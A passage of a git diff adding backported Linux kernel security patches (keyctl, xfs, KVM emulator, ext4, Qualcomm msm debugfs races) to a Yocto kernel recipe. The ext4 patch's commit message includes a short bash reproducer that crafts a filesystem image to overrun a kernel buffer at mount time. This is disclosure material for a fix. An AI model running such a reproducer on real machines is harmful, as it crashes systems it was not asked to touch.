ae3d4a31b82daa8e1a75b49dc2bba949fd992a05 + 801382539: --alswrv 0 0 user: a + + +Fix this by rejecting names beginning with a '.' in the keyctl. + +Signed-off-by: David Howells +Acked-by: Mimi Zohar +cc: linux-ima-devel@lists.sourceforge.net +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/keyctl.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index fee27fe2b30fa..af86b3566bede 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -277,7 +277,8 @@ error: + * Create and join an anonymous session keyring or join a named session + * keyring, creating it if necessary. A named session keyring must have Search + * permission for it to be joined. Session keyrings without this permit will +- * be skipped over. ++ * be skipped over. It is not permitted for userspace to create or join ++ * keyrings whose name begin with a dot. + * + * If successful, the ID of the joined session keyring will be returned. + */ +@@ -294,12 +295,16 @@ long keyctl_join_session_keyring(const char __user *_name) + ret = PTR_ERR(name); + goto error; + } ++ ++ ret = -EPERM; ++ if (name[0] == '.') ++ goto error_name; + } + + /* join the session */ + ret = join_session_keyring(name); ++error_name: + kfree(name); +- + error: + return ret; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0159-a8dabc28e0b2-xfs fix two memory leaks in xfsattrlistc error paths.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0159-a8dabc28e0b2-xfs fix two memory leaks in xfsattrlistc error paths.patch new file mode 100644 index 0000000..71a0a09 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0159-a8dabc28e0b2-xfs fix two memory leaks in xfsattrlistc error paths.patch @@ -0,0 +1,60 @@ +From a8dabc28e0b21f70d9e27b04a42efc7f093c7c18 Mon Sep 17 00:00:00 2001 +From: Mateusz Guzik +Date: Wed, 2 Mar 2016 09:51:09 +1100 +Subject: xfs: fix two memory leaks in xfs_attr_list.c error paths + +[ Upstream commit 2e83b79b2d6c78bf1b4aa227938a214dcbddc83f ] + +This plugs 2 trivial leaks in xfs_attr_shortform_list and +xfs_attr3_leaf_list_int. + +Signed-off-by: Mateusz Guzik +Cc: +Reviewed-by: Eric Sandeen +Signed-off-by: Dave Chinner +Signed-off-by: Sasha Levin +--- + fs/xfs/xfs_attr_list.c | 19 ++++++++++--------- + 1 file changed, 10 insertions(+), 9 deletions(-) + +diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c +index 62db83ab6cbc..ae64625937e5 100644 +--- a/fs/xfs/xfs_attr_list.c ++++ b/fs/xfs/xfs_attr_list.c +@@ -205,8 +205,10 @@ xfs_attr_shortform_list(xfs_attr_list_context_t *context) + sbp->namelen, + sbp->valuelen, + &sbp->name[sbp->namelen]); +- if (error) ++ if (error) { ++ kmem_free(sbuf); + return error; ++ } + if (context->seen_enough) + break; + cursor->offset++; +@@ -454,14 +456,13 @@ xfs_attr3_leaf_list_int( + args.rmtblkcnt = xfs_attr3_rmt_blocks( + args.dp->i_mount, valuelen); + retval = xfs_attr_rmtval_get(&args); +- if (retval) +- return retval; +- retval = context->put_listent(context, +- entry->flags, +- name_rmt->name, +- (int)name_rmt->namelen, +- valuelen, +- args.value); ++ if (!retval) ++ retval = context->put_listent(context, ++ entry->flags, ++ name_rmt->name, ++ (int)name_rmt->namelen, ++ valuelen, ++ args.value); + kmem_free(args.value); + } else { + retval = context->put_listent(context, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0160.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0160.diff new file mode 100644 index 0000000..de282da --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0160.diff @@ -0,0 +1,71 @@ +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index ffa1c05..0975b4c 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -2020,16 +2020,10 @@ + static int em_jmp_far(struct x86_emulate_ctxt *ctxt) + { + int rc; +- unsigned short sel, old_sel; +- struct desc_struct old_desc, new_desc; +- const struct x86_emulate_ops *ops = ctxt->ops; ++ unsigned short sel; ++ struct desc_struct new_desc; + u8 cpl = ctxt->ops->cpl(ctxt); + +- /* Assignment of RIP may only fail in 64-bit mode */ +- if (ctxt->mode == X86EMUL_MODE_PROT64) +- ops->get_segment(ctxt, &old_sel, &old_desc, NULL, +- VCPU_SREG_CS); +- + memcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2); + + rc = __load_segment_descriptor(ctxt, sel, VCPU_SREG_CS, cpl, false, +@@ -2038,12 +2032,10 @@ + return rc; + + rc = assign_eip_far(ctxt, ctxt->src.val, new_desc.l); +- if (rc != X86EMUL_CONTINUE) { +- WARN_ON(ctxt->mode != X86EMUL_MODE_PROT64); +- /* assigning eip failed; restore the old cs */ +- ops->set_segment(ctxt, old_sel, &old_desc, 0, VCPU_SREG_CS); +- return rc; +- } ++ /* Error handling is not implemented. */ ++ if (rc != X86EMUL_CONTINUE) ++ return X86EMUL_UNHANDLEABLE; ++ + return rc; + } + +@@ -2112,14 +2104,8 @@ + { + int rc; + unsigned long eip, cs; +- u16 old_cs; + int cpl = ctxt->ops->cpl(ctxt); +- struct desc_struct old_desc, new_desc; +- const struct x86_emulate_ops *ops = ctxt->ops; +- +- if (ctxt->mode == X86EMUL_MODE_PROT64) +- ops->get_segment(ctxt, &old_cs, &old_desc, NULL, +- VCPU_SREG_CS); ++ struct desc_struct new_desc; + + rc = emulate_pop(ctxt, &eip, ctxt->op_bytes); + if (rc != X86EMUL_CONTINUE) +@@ -2135,10 +2121,10 @@ + if (rc != X86EMUL_CONTINUE) + return rc; + rc = assign_eip_far(ctxt, eip, new_desc.l); +- if (rc != X86EMUL_CONTINUE) { +- WARN_ON(ctxt->mode != X86EMUL_MODE_PROT64); +- ops->set_segment(ctxt, old_cs, &old_desc, 0, VCPU_SREG_CS); +- } ++ /* Error handling is not implemented. */ ++ if (rc != X86EMUL_CONTINUE) ++ return X86EMUL_UNHANDLEABLE; ++ + return rc; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0161-2ce649fdacd5-ext4 validate sfirstmetabg at mount time.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0161-2ce649fdacd5-ext4 validate sfirstmetabg at mount time.patch new file mode 100644 index 0000000..b769c0c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0161-2ce649fdacd5-ext4 validate sfirstmetabg at mount time.patch @@ -0,0 +1,70 @@ +From 2ce649fdacd53afc430565e18124d7d72be92cb3 Mon Sep 17 00:00:00 2001 +From: Eryu Guan +Date: Thu, 1 Dec 2016 15:08:37 -0500 +Subject: ext4: validate s_first_meta_bg at mount time + +commit 3a4b77cd47bb837b8557595ec7425f281f2ca1fe upstream. + +Ralf Spenneberg reported that he hit a kernel crash when mounting a +modified ext4 image. And it turns out that kernel crashed when +calculating fs overhead (ext4_calculate_overhead()), this is because +the image has very large s_first_meta_bg (debug code shows it's +842150400), and ext4 overruns the memory in count_overhead() when +setting bitmap buffer, which is PAGE_SIZE. + +ext4_calculate_overhead(): + buf = get_zeroed_page(GFP_NOFS); <=== PAGE_SIZE buffer + blks = count_overhead(sb, i, buf); + +count_overhead(): + for (j = ext4_bg_num_gdb(sb, grp); j > 0; j--) { <=== j = 842150400 + ext4_set_bit(EXT4_B2C(sbi, s++), buf); <=== buffer overrun + count++; + } + +This can be reproduced easily for me by this script: + + #!/bin/bash + rm -f fs.img + mkdir -p /mnt/ext4 + fallocate -l 16M fs.img + mke2fs -t ext4 -O bigalloc,meta_bg,^resize_inode -F fs.img + debugfs -w -R "ssv first_meta_bg 842150400" fs.img + mount -o loop fs.img /mnt/ext4 + +Fix it by validating s_first_meta_bg first at mount time, and +refusing to mount if its value exceeds the largest possible meta_bg +number. + +Reported-by: Ralf Spenneberg +Signed-off-by: Eryu Guan +Signed-off-by: Theodore Ts'o +Reviewed-by: Andreas Dilger +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/super.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/fs/ext4/super.c b/fs/ext4/super.c +index a64e4368bb58..b7e0370171f9 100644 +--- a/fs/ext4/super.c ++++ b/fs/ext4/super.c +@@ -3931,6 +3931,15 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) + (EXT4_MAX_BLOCK_FILE_PHYS / EXT4_BLOCKS_PER_GROUP(sb))); + db_count = (sbi->s_groups_count + EXT4_DESC_PER_BLOCK(sb) - 1) / + EXT4_DESC_PER_BLOCK(sb); ++ if (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_META_BG)) { ++ if (le32_to_cpu(es->s_first_meta_bg) >= db_count) { ++ ext4_msg(sb, KERN_WARNING, ++ "first meta block group too large: %u " ++ "(group descriptor block count %u)", ++ le32_to_cpu(es->s_first_meta_bg), db_count); ++ goto failed_mount; ++ } ++ } + sbi->s_group_desc = ext4_kvmalloc(db_count * + sizeof(struct buffer_head *), + GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0162-ff31baf22761-msm mdss Install sync fences after user copy.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0162-ff31baf22761-msm mdss Install sync fences after user copy.patch new file mode 100644 index 0000000..582db65 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0162-ff31baf22761-msm mdss Install sync fences after user copy.patch @@ -0,0 +1,61 @@ +From ff31baf227611c4edc3c74b4ead96349da6f5c32 Mon Sep 17 00:00:00 2001 +From: Naseer Ahmed +Date: Wed, 1 Feb 2017 16:24:01 -0500 +Subject: msm: mdss: Install sync fences after user copy + +If userspace closes the fd after an error on copying to +userspace, the fences may be freed incorrectly. Make sure fences +are installed after all checks pass. + +Bug: 32402303 +Change-Id: Ieb50296c87e09549db2734bd70bb6ee8d311ad40 +CRs-Fixed: 2000664 +Signed-off-by: Naseer Ahmed +--- + drivers/video/msm/mdss/mdss_fb.c | 9 ++++----- + 1 file changed, 4 insertions(+), 5 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_fb.c b/drivers/video/msm/mdss/mdss_fb.c +index a7abb6c..2f65a08 100644 +--- a/drivers/video/msm/mdss/mdss_fb.c ++++ b/drivers/video/msm/mdss/mdss_fb.c +@@ -2,7 +2,7 @@ + * Core MDSS framebuffer driver. + * + * Copyright (C) 2007 Google Incorporated +- * Copyright (c) 2008-2016, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2008-2017, The Linux Foundation. All rights reserved. + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and +@@ -4135,8 +4135,6 @@ static int mdss_fb_handle_buf_sync_ioctl(struct msm_sync_pt_data *sync_pt_data, + goto buf_sync_err_2; + } + +- sync_fence_install(rel_fence, rel_fen_fd); +- + ret = copy_to_user(buf_sync->rel_fen_fd, &rel_fen_fd, sizeof(int)); + if (ret) { + pr_err("%s: copy_to_user failed\n", sync_pt_data->fence_name); +@@ -4173,8 +4171,6 @@ static int mdss_fb_handle_buf_sync_ioctl(struct msm_sync_pt_data *sync_pt_data, + goto buf_sync_err_3; + } + +- sync_fence_install(retire_fence, retire_fen_fd); +- + ret = copy_to_user(buf_sync->retire_fen_fd, &retire_fen_fd, + sizeof(int)); + if (ret) { +@@ -4185,6 +4181,9 @@ static int mdss_fb_handle_buf_sync_ioctl(struct msm_sync_pt_data *sync_pt_data, + goto buf_sync_err_3; + } + ++ sync_fence_install(rel_fence, rel_fen_fd); ++ sync_fence_install(retire_fence, retire_fen_fd); ++ + skip_retire_fence: + mutex_unlock(&sync_pt_data->sync_mutex); + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0163-67dfd3a65336-msm mdss handle synchronization issues during DSI debugfs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0163-67dfd3a65336-msm mdss handle synchronization issues during DSI debugfs.patch new file mode 100644 index 0000000..cc089c1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0163-67dfd3a65336-msm mdss handle synchronization issues during DSI debugfs.patch @@ -0,0 +1,143 @@ +From 67dfd3a65336e0b3f55ee83d6312321dc5f2a6f9 Mon Sep 17 00:00:00 2001 +From: Padmanabhan Komanduru +Date: Wed, 25 Jan 2017 16:38:48 +0530 +Subject: msm: mdss: handle synchronization issues during DSI debugfs + read/write + +Handle race condition during read/write operations to DSI debugfs nodes +related to DSI panel ON/OFF commands. + +Change-Id: I29c4ad74bf21d4cb5362565e902a682fe7263147 +Signed-off-by: Padmanabhan Komanduru +--- + drivers/video/msm/mdss/mdss_dsi.c | 21 +++++++++++++++++++-- + 1 file changed, 19 insertions(+), 2 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_dsi.c b/drivers/video/msm/mdss/mdss_dsi.c +index 885d132..e6d9edc 100644 +--- a/drivers/video/msm/mdss/mdss_dsi.c ++++ b/drivers/video/msm/mdss/mdss_dsi.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -625,6 +625,7 @@ struct buf_data { + char *string_buf; /* cmd buf as string, 3 bytes per number */ + int sblen; /* string buffer length */ + int sync_flag; ++ struct mutex dbg_mutex; /* mutex to synchronize read/write/flush */ + }; + + struct mdss_dsi_debugfs_info { +@@ -714,6 +715,7 @@ static ssize_t mdss_dsi_cmd_read(struct file *file, char __user *buf, + char *bp; + ssize_t ret = 0; + ++ mutex_lock(&pcmds->dbg_mutex); + if (*ppos == 0) { + kfree(pcmds->string_buf); + pcmds->string_buf = NULL; +@@ -732,6 +734,7 @@ static ssize_t mdss_dsi_cmd_read(struct file *file, char __user *buf, + buffer = kmalloc(bsize, GFP_KERNEL); + if (!buffer) { + pr_err("%s: Failed to allocate memory\n", __func__); ++ mutex_unlock(&pcmds->dbg_mutex); + return -ENOMEM; + } + +@@ -767,10 +770,12 @@ static ssize_t mdss_dsi_cmd_read(struct file *file, char __user *buf, + kfree(pcmds->string_buf); + pcmds->string_buf = NULL; + pcmds->sblen = 0; ++ mutex_unlock(&pcmds->dbg_mutex); + return 0; /* the end */ + } + ret = simple_read_from_buffer(buf, count, ppos, pcmds->string_buf, + pcmds->sblen); ++ mutex_unlock(&pcmds->dbg_mutex); + return ret; + } + +@@ -782,6 +787,7 @@ static ssize_t mdss_dsi_cmd_write(struct file *file, const char __user *p, + int blen = 0; + char *string_buf; + ++ mutex_lock(&pcmds->dbg_mutex); + if (*ppos == 0) { + kfree(pcmds->string_buf); + pcmds->string_buf = NULL; +@@ -793,6 +799,7 @@ static ssize_t mdss_dsi_cmd_write(struct file *file, const char __user *p, + string_buf = krealloc(pcmds->string_buf, blen + 1, GFP_KERNEL); + if (!string_buf) { + pr_err("%s: Failed to allocate memory\n", __func__); ++ mutex_unlock(&pcmds->dbg_mutex); + return -ENOMEM; + } + +@@ -802,6 +809,7 @@ static ssize_t mdss_dsi_cmd_write(struct file *file, const char __user *p, + string_buf[blen] = '\0'; + pcmds->string_buf = string_buf; + pcmds->sblen = blen; ++ mutex_unlock(&pcmds->dbg_mutex); + return ret; + } + +@@ -812,8 +820,12 @@ static int mdss_dsi_cmd_flush(struct file *file, fl_owner_t id) + char *buf, *bufp, *bp; + struct dsi_ctrl_hdr *dchdr; + +- if (!pcmds->string_buf) ++ mutex_lock(&pcmds->dbg_mutex); ++ ++ if (!pcmds->string_buf) { ++ mutex_unlock(&pcmds->dbg_mutex); + return 0; ++ } + + /* + * Allocate memory for command buffer +@@ -826,6 +838,7 @@ static int mdss_dsi_cmd_flush(struct file *file, fl_owner_t id) + kfree(pcmds->string_buf); + pcmds->string_buf = NULL; + pcmds->sblen = 0; ++ mutex_unlock(&pcmds->dbg_mutex); + return -ENOMEM; + } + +@@ -850,6 +863,7 @@ static int mdss_dsi_cmd_flush(struct file *file, fl_owner_t id) + pr_err("%s: dtsi cmd=%x error, len=%d\n", + __func__, dchdr->dtype, dchdr->dlen); + kfree(buf); ++ mutex_unlock(&pcmds->dbg_mutex); + return -EINVAL; + } + bp += sizeof(*dchdr); +@@ -861,6 +875,7 @@ static int mdss_dsi_cmd_flush(struct file *file, fl_owner_t id) + pr_err("%s: dcs_cmd=%x len=%d error!\n", __func__, + bp[0], len); + kfree(buf); ++ mutex_unlock(&pcmds->dbg_mutex); + return -EINVAL; + } + +@@ -873,6 +888,7 @@ static int mdss_dsi_cmd_flush(struct file *file, fl_owner_t id) + pcmds->buf = buf; + pcmds->blen = blen; + } ++ mutex_unlock(&pcmds->dbg_mutex); + return 0; + } + +@@ -887,6 +903,7 @@ struct dentry *dsi_debugfs_create_dcs_cmd(const char *name, umode_t mode, + struct dentry *parent, struct buf_data *cmd, + struct dsi_panel_cmds ctrl_cmds) + { ++ mutex_init(&cmd->dbg_mutex); + cmd->buf = ctrl_cmds.buf; + cmd->blen = ctrl_cmds.blen; + cmd->string_buf = NULL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0164-a5e46d8635a2-uio fix potential use after free issue when accessing debugbuffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0164-a5e46d8635a2-uio fix potential use after free issue when accessing debugbuffer.patch new file mode 100644 index 0000000..ac233c6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0164-a5e46d8635a2-uio fix potential use after free issue when accessing debugbuffer.patch @@ -0,0 +1,88 @@ +From a5e46d8635a2e28463b365aacdeab6750abd0d49 Mon Sep 17 00:00:00 2001 +From: Sahitya Tummala +Date: Fri, 3 Feb 2017 13:24:19 +0530 +Subject: uio: fix potential use after free issue when accessing debug_buffer + +The variable debug_buffer is a global variable which is allocated +and free'd when open/close is called on debugfs file - +"/sys/kernel/debug/rmt_storage/info". The current code doesn't +have locks to handle concurrent accesses to the above file. +This results into use after free issue when debug_buffer is +accessed by two threads at the same time. Fix this by adding +a mutex lock to protect this global variable. + +Change-Id: I6bc3f0ae2d7fca3ca9fe8561612f5863b6c3268a +Signed-off-by: Sahitya Tummala +--- + drivers/uio/msm_sharedmem/sharedmem_qmi.c | 17 ++++++++++++++--- + 1 file changed, 14 insertions(+), 3 deletions(-) + +diff --git a/drivers/uio/msm_sharedmem/sharedmem_qmi.c b/drivers/uio/msm_sharedmem/sharedmem_qmi.c +index 48fb17e..fd95dee 100644 +--- a/drivers/uio/msm_sharedmem/sharedmem_qmi.c ++++ b/drivers/uio/msm_sharedmem/sharedmem_qmi.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2015, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2015, 2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -223,6 +223,7 @@ static int sharedmem_qmi_req_cb(struct qmi_handle *handle, void *conn_h, + #define DEBUG_BUF_SIZE (2048) + static char *debug_buffer; + static u32 debug_data_size; ++static struct mutex dbg_buf_lock; /* mutex for debug_buffer */ + + static ssize_t debug_read(struct file *file, char __user *buf, + size_t count, loff_t *file_pos) +@@ -279,21 +280,29 @@ static int debug_open(struct inode *inode, struct file *file) + { + u32 buffer_size; + +- if (debug_buffer != NULL) ++ mutex_lock(&dbg_buf_lock); ++ if (debug_buffer != NULL) { ++ mutex_unlock(&dbg_buf_lock); + return -EBUSY; ++ } + buffer_size = DEBUG_BUF_SIZE; + debug_buffer = kzalloc(buffer_size, GFP_KERNEL); +- if (debug_buffer == NULL) ++ if (debug_buffer == NULL) { ++ mutex_unlock(&dbg_buf_lock); + return -ENOMEM; ++ } + debug_data_size = fill_debug_info(debug_buffer, buffer_size); ++ mutex_unlock(&dbg_buf_lock); + return 0; + } + + static int debug_close(struct inode *inode, struct file *file) + { ++ mutex_lock(&dbg_buf_lock); + kfree(debug_buffer); + debug_buffer = NULL; + debug_data_size = 0; ++ mutex_unlock(&dbg_buf_lock); + return 0; + } + +@@ -324,6 +333,7 @@ static void debugfs_init(void) + { + struct dentry *f_ent; + ++ mutex_init(&dbg_buf_lock); + dir_ent = debugfs_create_dir("rmt_storage", NULL); + if (IS_ERR(dir_ent)) { + pr_err("Failed to create debug_fs directory\n"); +@@ -352,6 +362,7 @@ static void debugfs_init(void) + static void debugfs_exit(void) + { + debugfs_remove_recursive(dir_ent); ++ mutex_destroy(&dbg_buf_lock); + } + + static void sharedmem_qmi_svc_recv_msg(struct work_struct *work) +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0165-9e9bc51ffb8a-power qpnpfg Fix possible race condition in FG debugfs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0165-9e9bc51ffb8a-power qpnpfg Fix possible race condition in FG debugfs.patch new file mode 100644 index 0000000..efdca41 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0165-9e9bc51ffb8a-power qpnpfg Fix possible race condition in FG debugfs.patch @@ -0,0 +1,122 @@ +From 9e9bc51ffb8a298f0be5befe346762cdb6e1d49c Mon Sep 17 00:00:00 2001 +From: ansharma +Date: Wed, 18 Jan 2017 16:46:38 +0530 +Subject: power: qpnp-fg: Fix possible race condition in FG debugfs + +There is a possible race condition when FG debugfs files are concurrently +accessed by multiple threads. Fix this. + +CRs-Fixed: 1105481 +Change-Id: I154e7f3cdd8d51cf67ef1dfd9d78f423f183cb64 +Signed-off-by: ansharma +--- + drivers/power/qpnp-fg.c | 34 ++++++++++++++++++++++++++-------- + 1 file changed, 26 insertions(+), 8 deletions(-) + +diff --git a/drivers/power/qpnp-fg.c b/drivers/power/qpnp-fg.c +index 182b562..1e2fefc 100644 +--- a/drivers/power/qpnp-fg.c ++++ b/drivers/power/qpnp-fg.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -669,6 +669,7 @@ struct fg_trans { + struct fg_chip *chip; + struct fg_log_buffer *log; /* log buffer */ + u8 *data; /* fg data that is read */ ++ struct mutex memif_dfs_lock; /* Prevent thread concurrency */ + }; + + struct fg_dbgfs { +@@ -7514,6 +7515,7 @@ static int fg_memif_data_open(struct inode *inode, struct file *file) + trans->addr = dbgfs_data.addr; + trans->chip = dbgfs_data.chip; + trans->offset = trans->addr; ++ mutex_init(&trans->memif_dfs_lock); + + file->private_data = trans; + return 0; +@@ -7525,6 +7527,7 @@ static int fg_memif_dfs_close(struct inode *inode, struct file *file) + + if (trans && trans->log && trans->data) { + file->private_data = NULL; ++ mutex_destroy(&trans->memif_dfs_lock); + kfree(trans->log); + kfree(trans->data); + kfree(trans); +@@ -7682,10 +7685,13 @@ static ssize_t fg_memif_dfs_reg_read(struct file *file, char __user *buf, + size_t ret; + size_t len; + ++ mutex_lock(&trans->memif_dfs_lock); + /* Is the the log buffer empty */ + if (log->rpos >= log->wpos) { +- if (get_log_data(trans) <= 0) +- return 0; ++ if (get_log_data(trans) <= 0) { ++ len = 0; ++ goto unlock_mutex; ++ } + } + + len = min(count, log->wpos - log->rpos); +@@ -7693,7 +7699,8 @@ static ssize_t fg_memif_dfs_reg_read(struct file *file, char __user *buf, + ret = copy_to_user(buf, &log->data[log->rpos], len); + if (ret == len) { + pr_err("error copy sram register values to user\n"); +- return -EFAULT; ++ len = -EFAULT; ++ goto unlock_mutex; + } + + /* 'ret' is the number of bytes not copied */ +@@ -7701,6 +7708,9 @@ static ssize_t fg_memif_dfs_reg_read(struct file *file, char __user *buf, + + *ppos += len; + log->rpos += len; ++ ++unlock_mutex: ++ mutex_unlock(&trans->memif_dfs_lock); + return len; + } + +@@ -7721,14 +7731,20 @@ static ssize_t fg_memif_dfs_reg_write(struct file *file, const char __user *buf, + int cnt = 0; + u8 *values; + size_t ret = 0; ++ char *kbuf; ++ u32 offset; + + struct fg_trans *trans = file->private_data; +- u32 offset = trans->offset; ++ ++ mutex_lock(&trans->memif_dfs_lock); ++ offset = trans->offset; + + /* Make a copy of the user data */ +- char *kbuf = kmalloc(count + 1, GFP_KERNEL); +- if (!kbuf) +- return -ENOMEM; ++ kbuf = kmalloc(count + 1, GFP_KERNEL); ++ if (!kbuf) { ++ ret = -ENOMEM; ++ goto unlock_mutex; ++ } + + ret = copy_from_user(kbuf, buf, count); + if (ret == count) { +@@ -7767,6 +7783,8 @@ static ssize_t fg_memif_dfs_reg_write(struct file *file, const char __user *buf, + + free_buf: + kfree(kbuf); ++unlock_mutex: ++ mutex_unlock(&trans->memif_dfs_lock); + return ret; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0166-f11ae3df500b-leds qpnpflash Fix possible race condition in debugfs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0166-f11ae3df500b-leds qpnpflash Fix possible race condition in debugfs.patch new file mode 100644 index 0000000..08b35d6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0166-f11ae3df500b-leds qpnpflash Fix possible race condition in debugfs.patch @@ -0,0 +1,238 @@ +From f11ae3df500bc2a093ddffee6ea40da859de0fa9 Mon Sep 17 00:00:00 2001 +From: ansharma +Date: Thu, 19 Jan 2017 20:22:14 +0530 +Subject: leds: qpnp-flash: Fix possible race condition in debugfs + +There is a possible race condition when debugfs files are concurrently +accessed by multiple threads. Fix this. + +CRs-Fixed: 1109420, 1109326 +Change-Id: I19e9107079ac8d039b12a37ae612727f824552d4 +Signed-off-by: ansharma +--- + drivers/leds/leds-qpnp-flash.c | 80 ++++++++++++++++++++++++++++++------------ + 1 file changed, 57 insertions(+), 23 deletions(-) + +diff --git a/drivers/leds/leds-qpnp-flash.c b/drivers/leds/leds-qpnp-flash.c +index 43298a7..56ba8f5 100644 +--- a/drivers/leds/leds-qpnp-flash.c ++++ b/drivers/leds/leds-qpnp-flash.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -225,6 +225,7 @@ struct flash_led_platform_data { + }; + + struct qpnp_flash_led_buffer { ++ struct mutex debugfs_lock; /* Prevent thread concurrency */ + size_t rpos; + size_t wpos; + size_t len; +@@ -280,6 +281,7 @@ static int flash_led_dbgfs_file_open(struct qpnp_flash_led *led, + log->rpos = 0; + log->wpos = 0; + log->len = logbufsize - sizeof(*log); ++ mutex_init(&log->debugfs_lock); + led->log = log; + + led->buffer_cnt = 1; +@@ -301,20 +303,26 @@ static int flash_led_dfs_close(struct inode *inode, struct file *file) + + if (led && led->log) { + file->private_data = NULL; ++ mutex_destroy(&led->log->debugfs_lock); + kfree(led->log); + } + + return 0; + } + ++#define MIN_BUFFER_WRITE_LEN 20 + static int print_to_log(struct qpnp_flash_led_buffer *log, + const char *fmt, ...) + { + va_list args; + int cnt; +- char *log_buf = &log->data[log->wpos]; ++ char *log_buf; + size_t size = log->len - log->wpos; + ++ if (size < MIN_BUFFER_WRITE_LEN) ++ return 0; /* not enough buffer left */ ++ ++ log_buf = &log->data[log->wpos]; + va_start(args, fmt); + cnt = vscnprintf(log_buf, size, fmt, args); + va_end(args); +@@ -328,12 +336,14 @@ static ssize_t flash_led_dfs_latched_reg_read(struct file *fp, char __user *buf, + struct qpnp_flash_led *led = fp->private_data; + struct qpnp_flash_led_buffer *log = led->log; + u8 val; +- int rc; ++ int rc = 0; + size_t len; + size_t ret; + +- if (log->rpos >= log->wpos && led->buffer_cnt == 0) +- return 0; ++ mutex_lock(&log->debugfs_lock); ++ if ((log->rpos >= log->wpos && led->buffer_cnt == 0) || ++ ((log->len - log->wpos) < MIN_BUFFER_WRITE_LEN)) ++ goto unlock_mutex; + + rc = spmi_ext_register_readl(led->spmi_dev->ctrl, + led->spmi_dev->sid, INT_LATCHED_STS(led->base), &val, 1); +@@ -341,17 +351,17 @@ static ssize_t flash_led_dfs_latched_reg_read(struct file *fp, char __user *buf, + dev_err(&led->spmi_dev->dev, + "Unable to read from address %x, rc(%d)\n", + INT_LATCHED_STS(led->base), rc); +- return -EINVAL; ++ goto unlock_mutex; + } + led->buffer_cnt--; + + rc = print_to_log(log, "0x%05X ", INT_LATCHED_STS(led->base)); + if (rc == 0) +- return rc; ++ goto unlock_mutex; + + rc = print_to_log(log, "0x%02X ", val); + if (rc == 0) +- return rc; ++ goto unlock_mutex; + + if (log->wpos > 0 && log->data[log->wpos - 1] == ' ') + log->data[log->wpos - 1] = '\n'; +@@ -361,36 +371,43 @@ static ssize_t flash_led_dfs_latched_reg_read(struct file *fp, char __user *buf, + ret = copy_to_user(buf, &log->data[log->rpos], len); + if (ret) { + pr_err("error copy register value to user\n"); +- return -EFAULT; ++ rc = -EFAULT; ++ goto unlock_mutex; + } + + len -= ret; + *ppos += len; + log->rpos += len; + +- return len; ++ rc = len; ++ ++unlock_mutex: ++ mutex_unlock(&log->debugfs_lock); ++ return rc; + } + + static ssize_t flash_led_dfs_fault_reg_read(struct file *fp, char __user *buf, + size_t count, loff_t *ppos) { + struct qpnp_flash_led *led = fp->private_data; + struct qpnp_flash_led_buffer *log = led->log; +- int rc; ++ int rc = 0; + size_t len; + size_t ret; + +- if (log->rpos >= log->wpos && led->buffer_cnt == 0) +- return 0; ++ 